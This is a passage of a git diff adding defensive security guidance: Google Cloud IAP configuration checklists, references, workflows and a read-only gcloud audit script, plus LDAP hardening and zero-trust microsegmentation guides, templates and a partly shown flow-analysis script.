| + +## IAP TCP Tunnel Access + +| VM | Zone | IAP Tunnel | Groups | External IP Removed | +|----|------|-----------|--------|-------------------| +| bastion-1 | us-central1-a | SSH | sre@ | Yes | +| db-admin | us-central1-b | SSH | dba@ | Yes | +| windows-admin | us-east1-b | RDP | admins@ | Yes | + +## Validation Checklist +- [x] IAP enabled on all internal backend services +- [x] Direct access blocked (no public IPs, firewall rules restrict to LB + IAP) +- [x] Access levels applied to sensitive services +- [x] Re-authentication configured per sensitivity tier +- [x] Break-glass IAM binding created without access level conditions +- [ ] Service account programmatic access tested +- [x] Audit logs enabled and flowing to BigQuery +- [x] Alert policies created for access denials + +## Sign-Off +| Role | Name | Date | Approved | +|------|------|------|----------| +| Security Architect | _________________ | __________ | [ ] | +| Cloud Platform Lead | _________________ | __________ | [ ] | diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md b/skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md new file mode 100644 index 00000000..9effbd17 --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/references/standards.md @@ -0,0 +1,31 @@ +# Google Cloud IAP - Standards & References + +## NIST SP 800-207: Zero Trust Architecture +- **Section 3.1**: Policy Engine - IAP evaluates identity and context per request +- **Section 3.2**: Trust Algorithm - Access Levels compute trust score +- **Section 4.2**: SDP Gateway Model - IAP acts as application-layer gateway +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-207/final + +## CISA Zero Trust Maturity Model v2.0 +- **Identity Pillar**: Per-request identity verification via IAP +- **Application Pillar**: Application-level access controls +- **URL**: https://www.cisa.gov/zero-trust-maturity-model + +## Google Cloud Documentation +- **IAP Overview**: https://cloud.google.com/iap/docs/concepts-overview +- **Enabling IAP for Compute Engine**: https://cloud.google.com/iap/docs/enabling-compute-howto +- **Enabling IAP for App Engine**: https://cloud.google.com/iap/docs/app-engine-quickstart +- **Enabling IAP for Cloud Run**: https://cloud.google.com/iap/docs/enabling-cloud-run +- **IAP TCP Forwarding**: https://cloud.google.com/iap/docs/using-tcp-forwarding +- **Context-Aware Access**: https://cloud.google.com/iap/docs/cloud-iap-context-aware-access-howto +- **Managing Access**: https://cloud.google.com/iap/docs/managing-access +- **Access Context Manager**: https://cloud.google.com/access-context-manager/docs +- **Programmatic Authentication**: https://cloud.google.com/iap/docs/authentication-howto + +## Google BeyondCorp Papers +- **BeyondCorp: A New Approach to Enterprise Security** (2014): https://research.google/pubs/pub43231/ +- **BeyondCorp: The Access Proxy** (2017): https://research.google/pubs/pub45728/ + +## FedRAMP +- Google Cloud IAP operates within FedRAMP High boundary +- **URL**: https://cloud.google.com/security/compliance/fedramp diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md b/skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md new file mode 100644 index 00000000..6b7dca0e --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/references/workflows.md @@ -0,0 +1,60 @@ +# Google IAP Configuration Workflow + +## Phase 1: Prerequisites (Day 1) +1. Enable IAP API: `gcloud services enable iap.googleapis.com` +2. Enable Access Context Manager API +3. Configure OAuth consent screen with organization branding +4. Create OAuth client credentials for IAP +5. Verify applications are behind HTTPS Load Balancer or Cloud Run/App Engine + +## Phase 2: IAP Enablement (Day 2-3) + +### Compute Engine / GKE Backend Services +1. Enable IAP on each backend service with OAuth credentials +2. Configure health checks to work through IAP +3. Verify backend service firewall rules allow only load balancer and IAP ranges +4. Block direct access to backend instances (remove external IPs, restrict firewall) + +### App Engine +1. Enable IAP on App Engine with OAuth credentials +2. Verify no App Engine firewall rules bypass IAP +3. Test authentication flow with pilot users + +### Cloud Run +1. Grant IAP service account Cloud Run Invoker role +2. Configure Cloud Run service with `--no-allow-unauthenticated` +3. Enable IAP on the backend service fronting Cloud Run +4. Test end-to-end request flow + +### TCP Forwarding (SSH/RDP) +1. Grant IAP Tunnel Resource Accessor role to user groups +2. Remove public IP addresses from VMs +3. Configure firewall rules to allow only IAP tunnel IP ranges (35.235.240.0/20) +4. Test SSH/RDP access through IAP tunnel + +## Phase 3: Access Control (Day 4-5) +1. Create IAM bindings mapping Google Groups to backend services +2. Add access level conditions for sensitive applications +3. Configure time-based conditions for admin access +4. Set up path-based conditions for API access +5. Test each binding with authorized and unauthorized users + +## Phase 4: Access Levels (Day 6-7) +1. Create basic access levels for device posture (encryption, OS, screen lock) +2. Create IP-based access levels for corporate network +3. Create custom access levels with CEL for complex conditions +4. Apply access levels as conditions on IAM bindings +5. Validate with compliant and non-compliant devices + +## Phase 5: Session and Re-auth (Day 8) +1. Configure session duration per application tier +2. Set re-authentication method (LOGIN or SECURE_KEY) +3. Test session expiry and re-authentication flow +4. Document expected user experience + +## Phase 6: Audit and Monitoring (Day 9-10) +1. Enable data access audit logs for IAP +2. Create log-based metrics for access denials +3. Set up alerting for anomalous patterns +4. Build dashboard for IAP access analytics +5. Test break-glass access procedures diff --git a/skills/configuring-identity-aware-proxy-with-google-iap/scripts/process.py b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/process.py new file mode 100644 index 00000000..71cea882 --- /dev/null +++ b/skills/configuring-identity-aware-proxy-with-google-iap/scripts/process.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python3 +""" +Google Cloud IAP - Configuration Audit Tool + +Audits IAP-enabled backend services, IAM bindings, access levels, +session settings, and access logs for compliance validation. + +Requirements: + pip install google-cloud-compute google-auth requests +""" + +import json +import subprocess +import sys +from datetime import datetime, timedelta, timezone +from typing import Any + + +def run_gcloud(args: list[str]) -> Any: + """Execute gcloud command and return JSON output.""" + cmd = ["gcloud"] + args + ["--format=json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return [] + try: + return json.loads(result.stdout) if result.stdout.strip() else [] + except json.JSONDecodeError: + return [] + + +def audit_iap_backends(project_id: str) -> list[dict]: + """Audit all backend services for IAP configuration.""" + print("\n[1/5] Auditing IAP-enabled backend services...") + backends = run_gcloud(["compute", "backend-services", "list", "--project", project_id]) + if not isinstance(backends, list): + return [] + + results = [] + for backend in backends: + name = backend.get("name", "unknown") + iap = backend.get("iap", {}) + enabled = iap.get("enabled", False) + + info = {"name": name, "iap_enabled": enabled, "bindings": [], "has_conditions": False} + + if enabled: + policy = run_gcloud([ + "iap", "web", "get-iam-policy", + "--resource-type=backend-services", + "--service", name, "--project", project_id + ]) + bindings = policy.get("bindings", []) if isinstance(policy, dict) else [] + info["bindings"] = bindings + info["bindings_count"] = len(bindings) + info["has_conditions"] = any(b.get("condition") for b in bindings) + print(f" [IAP ON] {name}: {len(bindings)} bindings, conditions: {info['has_conditions']}") + else: + print(f" [IAP OFF] {name}") + + results.append(info) + return results + + +def audit_access_levels(policy_id: str) -> list[dict]: + """Audit Access Context Manager levels.""" + print("\n[2/5] Auditing access levels...") + if not policy_id: + print(" Skipped - no policy ID provided") + return [] + + levels = run_gcloud(["access-context-manager", "levels", "list", "--policy", policy_id]) + if not isinstance(levels, list): + return [] + + results = [] + for level in levels: + name = level.get("name", "").split("/")[-1] + title = level.get("title", "") + basic = level.get("basic", {}) + has_device = any( + c.get("devicePolicy") for c in basic.get("conditions", []) + ) + has_ip = any( + c.get("ipSubnetworks") for c in basic.get("conditions", []) + ) + results.append({"name": name, "title": title, "has_device": has_device, "has_ip": has_ip}) + print(f" {title}: device_policy={has_device}, ip_restriction={has_ip}") + + return results + + +def audit_iap_tunnel_access(project_id: str) -> dict: + """Audit IAP TCP tunnel permissions.""" + print("\n[3/5] Auditing IAP tunnel access...") + instances = run_gcloud(["compute", "instances", "list", "--project", project_id]) + if not isinstance(instances, list): + return {"total_vms": 0} + + stats = {"total_vms": len(instances), "with_external_ip": 0, "tunnel_accessible": 0} + for vm in instances: + name = vm.get("name", "unknown") + interfaces = vm.get("networkInterfaces", []) + has_ext_ip = any( + iface.get("accessConfigs") for iface in interfaces + ) + if has_ext_ip: + stats["with_external_ip"] += 1 + + print(f" Total VMs: {stats['total_vms']}, With external IP: {stats['with_external_ip']}") + if stats["with_external_ip"] > 0: + print(f" [WARN] {stats['with_external_ip']} VMs have external IPs - consider removing for IAP-only access") + return stats + + +def audit_iap_logs(project_id: str) -> dict: + """Analyze recent IAP access logs.""" + print("\n[4/5] Analyzing IAP access logs (24h)...") + start = (datetime.now(timezone.utc) - timedelta(hours=24)).strftime("%Y-%m-%dT%H:%M:%SZ") + logs = run_gcloud([ + "logging", "read", + f'resource.type="gce_backend_service" AND protoPayload.serviceName="iap.googleapis.com" AND timestamp>="{start}"', + "--project", project_id, "--limit=500" + ]) + if not isinstance(logs, list): + return {"total": 0, "allowed": 0, "denied": 0} + + stats = {"total": len(logs), "allowed": 0, "denied": 0, "users": set()} + for entry in logs: + payload = entry.get("protoPayload", {}) + status = payload.get("status", {}).get("code", 0) + user = payload.get("authenticationInfo", {}).get("principalEmail", "") + if status == 0: + stats["allowed"] += 1 + else: + stats["denied"] += 1 + if user: + stats["users"].add(user) + + stats["unique_users"] = len(stats["users"]) + del stats["users"] + print(f" Requests: {stats['total']}, Allowed: {stats['allowed']}, Denied: {stats['denied']}") + return stats + + +def generate_report(project_id: str, backends: list, levels: list, + tunnels: dict, logs: dict) -> str: + """Generate IAP audit report.""" + print("\n[5/5] Generating report...") + now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M UTC") + iap_on = [b for b in backends if b["iap_enabled"]] + iap_off = [b for b in backends if not b["iap_enabled"]] + with_conditions = [b for b in iap_on if b.get("has_conditions")] + + report = f""" +Google Cloud IAP Audit Report +{'=' * 55} +Project: {project_id} +Generated: {now} + +1. BACKEND SERVICES + Total backend services: {len(backends)} + IAP enabled: {len(iap_on)} + IAP disabled: {len(iap_off)} + With access level conditions: {len(with_conditions)} / {len(iap_on)} + +2. ACCESS LEVELS + Total defined: {len(levels)} + With device policy: {sum(1 for l in levels if l['has_device'])} + With IP restrictions: {sum(1 for l in levels if l['has_ip'])} + +3. VM ACCESS + Total VMs: {tunnels['total_vms']} + With external IP: {tunnels['with_external_ip']} + +4. ACCESS LOGS (24h) + Total requests: {logs['total']} + Allowed: {logs['allowed']} + Denied: {logs['denied']} + Unique users: {logs.get('unique_users', 0)} + +5. RECOMMENDATIONS +""" + recs = [] + if iap_off: + recs.append(f" - Enable IAP on {len(iap_off)} unprotected backend service(s)") + if len(with_conditions) < len(iap_on): + recs.append(f" - Add access level conditions to {len(iap_on) - len(with_conditions)} IAP service(s)") + if tunnels["with_external_ip"] > 0: + recs.append(f" - Remove external IPs from {tunnels['with_external_ip']} VM(s) for IAP-only access") + if not recs: + recs.append(" - Configuration meets best practices") + report += "\n".join(recs) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: python process.py [access-policy-id]") + sys.exit(1) + + project_id = sys.argv[1] + policy_id = sys.argv[2] if len(sys.argv) > 2 else None + + backends = audit_iap_backends(project_id) + levels = audit_access_levels(policy_id) + tunnels = audit_iap_tunnel_access(project_id) + logs = audit_iap_logs(project_id) + report = generate_report(project_id, backends, levels, tunnels, logs) + print(report) + + filename = f"iap_audit_{project_id}_{datetime.now().strftime('%Y%m%d')}.txt" + with open(filename, "w") as f: + f.write(report) + print(f"\nReport saved to: {filename}") + + +if __name__ == "__main__": + main() diff --git a/skills/configuring-ldap-security-hardening/SKILL.md b/skills/configuring-ldap-security-hardening/SKILL.md new file mode 100644 index 00000000..bb293479 --- /dev/null +++ b/skills/configuring-ldap-security-hardening/SKILL.md @@ -0,0 +1,37 @@ +--- +name: None +description: Harden LDAP directory services against common attacks including credential harvesting, LDAP injection, anonymous binding, and channel binding bypass. Covers LDAPS enforcement, channel binding, LDAP si +domain: cybersecurity +subdomain: identity-access-management +tags: [iam, identity, access-control, ldap, directory-services, hardening] +version: "1.0" +author: mahipal +license: MIT +--- +# Configuring LDAP Security Hardening + +## Overview +Harden LDAP directory services against common attacks including credential harvesting, LDAP injection, anonymous binding, and channel binding bypass. Covers LDAPS enforcement, channel binding, LDAP signing, access control lists, and monitoring for LDAP-based attacks. + +## Objectives +- Implement comprehensive configuring ldap security hardening capability +- Establish automated discovery and monitoring processes +- Integrate with enterprise IAM and security tools +- Generate compliance-ready documentation and reports +- Align with NIST 800-53 access control requirements + +## Security Controls +| Control | NIST 800-53 | Description | +|---------|-------------|-------------| +| Account Management | AC-2 | Lifecycle management | +| Access Enforcement | AC-3 | Policy-based access control | +| Least Privilege | AC-6 | Minimum necessary permissions | +| Audit Logging | AU-3 | Authentication and access events | +| Identification | IA-2 | User and service identification | + +## Verification +- [ ] Implementation tested in non-production environment +- [ ] Security policies configured and enforced +- [ ] Audit logging enabled and forwarding to SIEM +- [ ] Documentation and runbooks complete +- [ ] Compliance evidence generated diff --git a/skills/configuring-microsegmentation-for-zero-trust/SKILL.md b/skills/configuring-microsegmentation-for-zero-trust/SKILL.md new file mode 100644 index 00000000..09228e56 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/SKILL.md @@ -0,0 +1,141 @@ +# Configuring Microsegmentation for Zero Trust + +--- +domain: cybersecurity +subdomain: zero-trust-architecture +author: mahipal +tags: [zero-trust, microsegmentation, network-access, lateral-movement, network-security] +difficulty: advanced +estimated_time: 4-6 hours +prerequisites: + - Understanding of zero trust principles (NIST SP 800-207) + - Knowledge of network segmentation concepts + - Familiarity with firewall and SDN technologies + - Experience with VMware NSX, Illumio, Guardicore, or Cisco ACI +--- + +## Overview + +Microsegmentation divides a network into granular security zones, enforcing least-privilege access between workloads at the application layer rather than relying on traditional VLAN-based segmentation. In a zero trust architecture, microsegmentation eliminates implicit trust between workloads within the same network segment, preventing lateral movement even after an attacker gains initial access. + +This skill covers designing microsegmentation policies using workload identity, implementing host-based and network-based enforcement, and validating segmentation effectiveness with tools like Illumio Core and VMware NSX. + +## Architecture + +### Microsegmentation Models + +1. **Network-Based (VMware NSX, Cisco ACI)**: Distributed firewall rules enforced at the hypervisor or network fabric level +2. **Host-Based (Illumio, Guardicore)**: Agent-based enforcement at the OS level using iptables/WFP rules +3. **Container-Based (Calico, Cilium)**: Network policies enforced at the pod/container level in Kubernetes +4. **Application-Based (Zscaler Workload Segmentation)**: Identity-based segmentation based on software identity rather than IP addresses + +### Enforcement Points + +``` +Traditional Segmentation Microsegmentation +┌─────────────────┐ ┌──────────────────────┐ +│ VLAN 10 │ │ Workload A ←policy→ │ +│ ┌───┐ ┌───┐ │ │ Workload B ←policy→ │ +│ │ A │ │ B │ │ │ Workload C ←policy→ │ +│ └───┘ └───┘ │ │ Workload D ←policy→ │ +│ (trust each │ │ (zero trust between │ +│ other) │ │ every pair) │ +└─────────────────┘ └──────────────────────┘ +``` + +## Key Concepts + +### Application Dependency Mapping +Before creating segmentation policies, discover actual communication flows between workloads using traffic telemetry. Tools like Illumio, Guardicore, and AppDynamics provide application dependency maps showing which workloads communicate, over which ports, and how frequently. + +### Policy Modeling +Draft policies in monitor/visibility mode before enforcement. This allows validation that proposed rules will not break legitimate traffic while identifying unnecessary or risky communication paths. + +### Label-Based Policy +Modern microsegmentation uses labels (role, application, environment, location) instead of IP-based rules. Label-based policies are portable across environments and survive IP changes during migrations. + +### Ring-Fencing +Isolate critical applications (PCI cardholder data environment, SWIFT financial systems, healthcare PHI) with strict allow-list policies that deny all traffic not explicitly permitted. + +## Procedure + +### Phase 1: Discovery and Mapping + +1. **Deploy Visibility Agents** + - Install lightweight agents on all workloads (servers, VMs, containers) + - Configure agents to report real-time traffic telemetry to the management console + - Allow 2-4 weeks of traffic collection to build a comprehensive flow map + +2. **Build Application Dependency Map** + - Review auto-discovered communication flows in the management console + - Identify application tiers: web servers, app servers, databases, middleware + - Map legitimate communication paths and flag unexpected connections + - Document data flows for compliance scope (PCI, HIPAA) + +3. **Assign Labels** + - Create a labeling taxonomy: Role (web, app, db), Application (ERP, CRM), Environment (prod, dev, staging), Location (dc1, aws-east) + - Apply labels to all workloads via the management console or API + - Validate label accuracy against CMDB and application owner input + +### Phase 2: Policy Design + +4. **Define Segmentation Zones** + - Environment isolation: Production cannot communicate with Development + - Tier isolation: Database tier only accepts connections from application tier + - Application ring-fencing: PCI applications isolated from non-PCI workloads + - Administrative access: Jump servers are the only management path + +5. **Create Allow-List Policies** + - For each application, define explicit allow rules for required communication + - Use label-based rules rather than IP-based where possible + - Include process-level restrictions where supported (e.g., only httpd on port 443) + - Set default-deny for all unlisted communication + +6. **Model Policies in Test Mode** + - Enable policies in visibility/test mode (do not enforce) + - Monitor for would-be blocked legitimate traffic + - Refine policies based on test results over 1-2 weeks + - Get application owner sign-off before enforcement + +### Phase 3: Enforcement + +7. **Enforce Incrementally** + - Start with the most isolated, lowest-risk application + - Switch policy from test mode to enforce mode + - Monitor for application issues in the first 24-48 hours + - Proceed to next application after validation + +8. **Validate Segmentation** + - Run penetration tests attempting lateral movement between segments + - Verify that blocked traffic generates alerts in the management console + - Test emergency override procedures (break-glass) + - Document enforcement status for each application zone + +### Phase 4: Operational Maintenance + +9. **Ongoing Policy Management** + - Integrate with CI/CD: auto-label new workloads from deployment pipelines + - Review policy violations weekly and investigate anomalies + - Update policies when applications change or new services deploy + - Perform quarterly segmentation effectiveness reviews + +## Validation Checklist + +- [ ] Agents deployed on all in-scope workloads +- [ ] Application dependency map reviewed and approved by app owners +- [ ] Labels assigned and validated against CMDB +- [ ] Policies modeled in test mode with no false positives for 2+ weeks +- [ ] Policies enforced incrementally with monitoring +- [ ] Default-deny active for all segmented zones +- [ ] Lateral movement tests confirm blocked unauthorized traffic +- [ ] Alerting configured for policy violations +- [ ] Break-glass procedure documented and tested +- [ ] Compliance auditor sign-off for regulated environments + +## References + +- NIST SP 800-207: Zero Trust Architecture +- CISA Zero Trust Maturity Model v2.0 - Network Pillar +- Illumio Core Administration Guide +- VMware NSX Distributed Firewall Configuration Guide +- Forrester Zero Trust eXtended (ZTX) Framework diff --git a/skills/configuring-microsegmentation-for-zero-trust/assets/template.md b/skills/configuring-microsegmentation-for-zero-trust/assets/template.md new file mode 100644 index 00000000..de4b8641 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/assets/template.md @@ -0,0 +1,81 @@ +# Microsegmentation Implementation Plan Template + +## Project Information + +| Field | Value | +|---|---| +| Project Name | | +| Organization | | +| Project Lead | | +| Start Date | | +| Segmentation Tool | [Illumio / VMware NSX / Guardicore / Cisco ACI] | + +## Workload Inventory + +| Workload | IP Address | OS | Role | Application | Environment | Location | +|---|---|---|---|---|---|---| +| | | | web | | prod | | +| | | | app | | prod | | +| | | | db | | prod | | + +## Segmentation Zone Design + +### Zone Definitions + +| Zone Name | Description | Workloads | Default Policy | +|---|---|---|---| +| PCI-CDE | Cardholder data environment | [list] | Deny-all | +| HR-Systems | HR applications | [list] | Deny-all | +| DMZ | Internet-facing services | [list] | Deny-all | +| Management | Admin/monitoring | [list] | Restricted | + +### Inter-Zone Communication Matrix + +| Source Zone | Destination Zone | Ports/Protocols | Justification | +|---|---|---|---| +| DMZ | App-Tier | 8080/tcp | Web application traffic | +| App-Tier | DB-Tier | 3306/tcp | Database queries | +| Management | All Zones | 22/tcp, 9090/tcp | SSH and monitoring | + +## Policy Rules + +### Allow Rules + +| Rule ID | Source | Destination | Port | Protocol | Process | Justification | +|---|---|---|---|---|---|---| +| 1 | | | | tcp | | | +| 2 | | | | tcp | | | + +### Default Deny +- All traffic not explicitly allowed is denied +- Deny rule logged and alerted + +## Enforcement Schedule + +| Week | Activity | Applications | Risk Level | +|---|---|---|---| +| 1-2 | Agent deployment and discovery | All | Low | +| 3-4 | Label assignment and validation | All | Low | +| 5-6 | Policy design and test mode | All | Low | +| 7 | Enforce: Dev/Test environments | Dev apps | Low | +| 8 | Enforce: Low-risk production | Non-critical | Medium | +| 9-10 | Enforce: Business-critical apps | ERP, CRM | High | +| 11-12 | Enforce: Regulated environments | PCI, HIPAA | High | + +## Validation Tests + +- [ ] Legitimate traffic flows uninterrupted after enforcement +- [ ] Unauthorized cross-zone traffic is blocked +- [ ] Lateral movement from compromised workload is contained +- [ ] Policy violation alerts appear in SIEM +- [ ] Break-glass procedure works for emergency access +- [ ] Application dependency map matches actual flows + +## Sign-Off + +| Stakeholder | Role | Approval | Date | +|---|---|---|---| +| | Security Architecture | | | +| | Network Operations | | | +| | Application Owners | | | +| | Compliance/Audit | | | diff --git a/skills/configuring-microsegmentation-for-zero-trust/references/standards.md b/skills/configuring-microsegmentation-for-zero-trust/references/standards.md new file mode 100644 index 00000000..d67c8d44 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/references/standards.md @@ -0,0 +1,70 @@ +# Standards and Frameworks Reference + +## NIST SP 800-207: Zero Trust Architecture + +### Microsegmentation as ZTA Deployment Model +NIST SP 800-207 identifies microsegmentation as one of three primary deployment approaches for zero trust: +- Places individual or groups of resources on a unique network segment protected by a gateway security component +- The enterprise places infrastructure devices such as intelligent switches, next-generation firewalls, or special-purpose gateway devices to act as PEPs protecting each resource or group of resources +- This approach can be implemented using software-defined networking (SDN) or hypervisor-level enforcement + +### Applicable Controls +- **AC-4 (Information Flow Enforcement)**: Microsegmentation enforces approved information flows between workloads +- **SC-7 (Boundary Protection)**: Each microsegment boundary acts as a security boundary +- **SI-4 (Information System Monitoring)**: Microsegmentation tools provide flow telemetry for monitoring + +## CISA Zero Trust Maturity Model v2.0 + +### Network Pillar - Microsegmentation Maturity + +| Level | Network Segmentation | Microsegmentation | Traffic Management | +|---|---|---|---| +| Traditional | Large, macro-segmented perimeters | None | Static ACLs | +| Initial | Defined architecture with some isolation | Initial workload isolation | Basic flow visibility | +| Advanced | Ingress/egress micro-perimeters | Workload-level microsegmentation | Identity-based traffic rules | +| Optimal | Full microsegmentation, dynamically defined | Automated, adaptive policies | ML-driven anomaly detection | + +### Cross-Cutting: Visibility and Analytics +- Flow telemetry from microsegmentation agents feeds into SIEM/SOAR +- Application dependency maps provide baseline for anomaly detection +- Policy violation alerts enable real-time incident detection + +## PCI DSS v4.0 + +### Microsegmentation for Scope Reduction +- **Requirement 1.3**: Network controls restrict access to and from the cardholder data environment (CDE) +- **Requirement 1.4**: Network connections between trusted and untrusted networks are controlled +- Microsegmentation can reduce PCI scope by isolating CDE workloads from non-CDE systems +- Compensating control: host-based microsegmentation validated by QSA as equivalent to network segmentation + +## Forrester Zero Trust eXtended (ZTX) Framework + +### Workload Security Pillar +- Microsegmentation is a core capability for securing workloads +- Policies should be based on workload identity and context, not network location +- Continuous monitoring of east-west traffic for anomaly detection +- Integration with DevOps pipelines for automated policy management + +## VMware NSX Distributed Firewall + +### Architecture +- Stateful Layer 4-7 firewall embedded in the hypervisor kernel +- Policies evaluated at the vNIC level before traffic reaches the physical network +- Context-aware rules using Active Directory groups, VM tags, and application identification +- No network topology changes required for deployment + +## Illumio Core Platform + +### Architecture +- Virtual Enforcement Node (VEN) agents installed on workloads +- Policy Compute Engine (PCE) centralizes policy management and visualization +- Enforcement via native OS firewall (iptables on Linux, WFP on Windows) +- Label-based policy model: Role, Application, Environment, Location + +## Guardicore (Akamai) + +### Architecture +- Lightweight agents provide process-level visibility and enforcement +- Reveal module builds application dependency maps +- Centra management platform for policy creation and monitoring +- Supports bare-metal, VM, container, and cloud workloads diff --git a/skills/configuring-microsegmentation-for-zero-trust/references/workflows.md b/skills/configuring-microsegmentation-for-zero-trust/references/workflows.md new file mode 100644 index 00000000..39cdedb1 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/references/workflows.md @@ -0,0 +1,179 @@ +# Microsegmentation Implementation Workflows + +## Workflow 1: Microsegmentation Deployment Lifecycle + +``` +┌──────────────────────┐ +│ 1. Discovery │ +│ - Deploy agents │ +│ - Collect traffic │ +│ telemetry (2-4 wks)│ +│ - Build flow map │ +└──────────┬───────────┘ + v +┌──────────────────────┐ +│ 2. Classification │ +│ - Assign workload │ +│ labels (role, app, │ +│ env, location) │ +│ - Validate with CMDB │ +│ - Group by app tier │ +└──────────┬───────────┘ + v +┌──────────────────────┐ +│ 3. Policy Design │ +│ - Define zones │ +│ - Create allow-list │ +│ rules per app │ +│ - Set default-deny │ +│ - Document exceptions │ +└──────────┬───────────┘ + v +┌──────────────────────┐ +│ 4. Test Mode │ +│ - Enable policies in │ +│ visibility mode │ +│ - Monitor would-block │ +│ events (1-2 weeks) │ +│ - Refine rules │ +└──────────┬───────────┘ + v +┌──────────────────────┐ +│ 5. Enforcement │ +│ - Enforce per-app, │ +│ starting low-risk │ +│ - Monitor 24-48 hrs │ +│ - Proceed to next app │ +└──────────┬───────────┘ + v +┌──────────────────────┐ +│ 6. Continuous Ops │ +│ - Weekly violation │ +│ review │ +│ - Quarterly audits │ +│ - CI/CD integration │ +│ - Incident response │ +└──────────────────────┘ +``` + +## Workflow 2: Policy Creation Flow + +``` +Identify Application + │ + v +┌─────────────────────┐ +│ Map Dependencies │ +│ - Inbound sources │ +│ - Outbound targets │ +│ - Ports/protocols │ +│ - Process names │ +└──────────┬──────────┘ + v +┌─────────────────────┐ +│ Define Labels │ +│ Role: web/app/db │ +│ App: erp/crm/hr │ +│ Env: prod/dev/stg │ +│ Loc: dc1/aws/azure │ +└──────────┬──────────┘ + v +┌─────────────────────┐ +│ Create Rules │ +│ Allow: web→app:8080 │ +│ Allow: app→db:3306 │ +│ Allow: mon→all:9090 │ +│ Deny: all other │ +└──────────┬──────────┘ + v +┌─────────────────────┐ +│ Test and Validate │ +│ - Simulate in test │ +│ - Check flow map │ +│ - App owner sign-off │ +└──────────┬──────────┘ + v +┌─────────────────────┐ +│ Enforce and Monitor │ +│ - Switch to enforce │ +│ - Alert on violations│ +│ - Log to SIEM │ +└─────────────────────┘ +``` + +## Workflow 3: Ring-Fencing Critical Assets + +``` +Identify Critical Asset (e.g., PCI CDE Database) + │ + v +┌──────────────────────────────────────┐ +│ 1. Baseline Traffic │ +│ - Observe all inbound/outbound flows │ +│ - Document legitimate connections │ +│ - Identify unnecessary connections │ +└──────────────┬───────────────────────┘ + v +┌──────────────────────────────────────┐ +│ 2. Define Ring-Fence Rules │ +│ - Allow: app-server → db:5432 │ +│ - Allow: backup-agent → db:5432 │ +│ - Allow: monitoring → db:9100 │ +│ - Deny: ALL other inbound │ +│ - Deny: ALL outbound (except DNS,NTP)│ +└──────────────┬───────────────────────┘ + v +┌──────────────────────────────────────┐ +│ 3. Test with Production Traffic │ +│ - Enable in test mode │ +│ - Verify zero false positives │ +│ - Validate backup and monitoring work │ +└──────────────┬───────────────────────┘ + v +┌──────────────────────────────────────┐ +│ 4. Enforce and Lock Down │ +│ - Switch to enforcement │ +│ - Enable alerting on any violation │ +│ - Review violations daily │ +│ - QSA validation for PCI scope │ +└──────────────────────────────────────┘ +``` + +## Workflow 4: Incident Response with Microsegmentation + +``` +Alert: Unusual East-West Traffic Detected + │ + v +┌─────────────────────────┐ +│ 1. Investigate │ +│ - Review flow in console │ +│ - Check source workload │ +│ - Identify destination │ +│ - Cross-ref with SIEM │ +└──────────┬──────────────┘ + v +┌──────────────────────────────┐ +│ 2. Contain │ +│ - Apply quarantine policy │ +│ (deny all except forensic) │ +│ - Isolate compromised │ +│ workload instantly │ +└──────────┬───────────────────┘ + v +┌─────────────────────────┐ +│ 3. Assess Impact │ +│ - Check if lateral move │ +│ was blocked by policy │ +│ - Review adjacent zones │ +│ - Determine blast radius │ +└──────────┬──────────────┘ + v +┌─────────────────────────┐ +│ 4. Remediate │ +│ - Patch/reimagevworkload │ +│ - Strengthen policies │ +│ - Remove quarantine │ +│ - Post-incident review │ +└─────────────────────────┘ +``` diff --git a/skills/configuring-microsegmentation-for-zero-trust/scripts/process.py b/skills/configuring-microsegmentation-for-zero-trust/scripts/process.py new file mode 100644 index 00000000..f0612fd8 --- /dev/null +++ b/skills/configuring-microsegmentation-for-zero-trust/scripts/process.py @@ -0,0 +1,338 @@ +#!/usr/bin/env python3 +""" +Microsegmentation Policy Analyzer and Flow Validator + +Analyzes network flow data to identify microsegmentation opportunities, +validates policies against observed traffic, and generates segmentation reports. +""" + +import json +import csv +import sys +from collections import defaultdict +from datetime import datetime +from pathlib import Path +from typing import Optional + + +def parse_flow_data(flow_file: str) -> list: + """Parse network flow data from CSV or JSON format.""" + flows = [] + path = Path(flow_file) + if path.suffix == ".csv": + with open(flow_file) as f: + reader = csv.DictReader(f) + for row in reader: + flows.append({ + "src_ip": row.get("src_ip", ""), + "dst_ip": row.get("dst_ip", ""), + "src_port": int(row.get("src_port", 0)), + "dst_port": int(row.get("dst_port", 0)), + "protocol": row.get("protocol", "tcp").lower(), + "bytes": int(row.get("bytes", 0)), + "packets": int(row.get("packets", 0)), + "timestamp": row.get("timestamp", ""), + "src_label": row.get("src_label", ""), + "dst_label": row.get("dst_label", ""), + }) + elif path.suffix == ".json": + with open(flow_file) as f: + flows = json.load(f) + return flows + + +def build_dependency_map(flows: list) -> dict: + """Build an application dependency map from flow data.""" + dep_map = defaultdict(lambda: defaultdict(lambda: { + "ports": set(), "protocols": set(), "total_bytes": 0, + "total_packets": 0, "flow_count": 0 + })) + + for flow in flows: + src = flow.get("src_label") or flow["src_ip"] + dst = flow.get("dst_label") or flow["dst_ip"] + port = flow["dst_port"] + proto = flow["protocol"] + + dep_map[src][dst]["ports"].add(port) + dep_map[src][dst]["protocols"].add(proto) + dep_map[src][dst]["total_bytes"] += flow.get("bytes", 0) + dep_map[src][dst]["total_packets"] += flow.get("packets", 0) + dep_map[src][dst]["flow_count"] += 1 + + serializable = {} + for src, destinations in dep_map.items(): + serializable[src] = {} + for dst, stats in destinations.items(): + serializable[src][dst] = { + "ports": sorted(list(stats["ports"])), + "protocols": sorted(list(stats["protocols"])), + "total_bytes": stats["total_bytes"], + "total_packets": stats["total_packets"], + "flow_count": stats["flow_count"], + } + return serializable + + +def 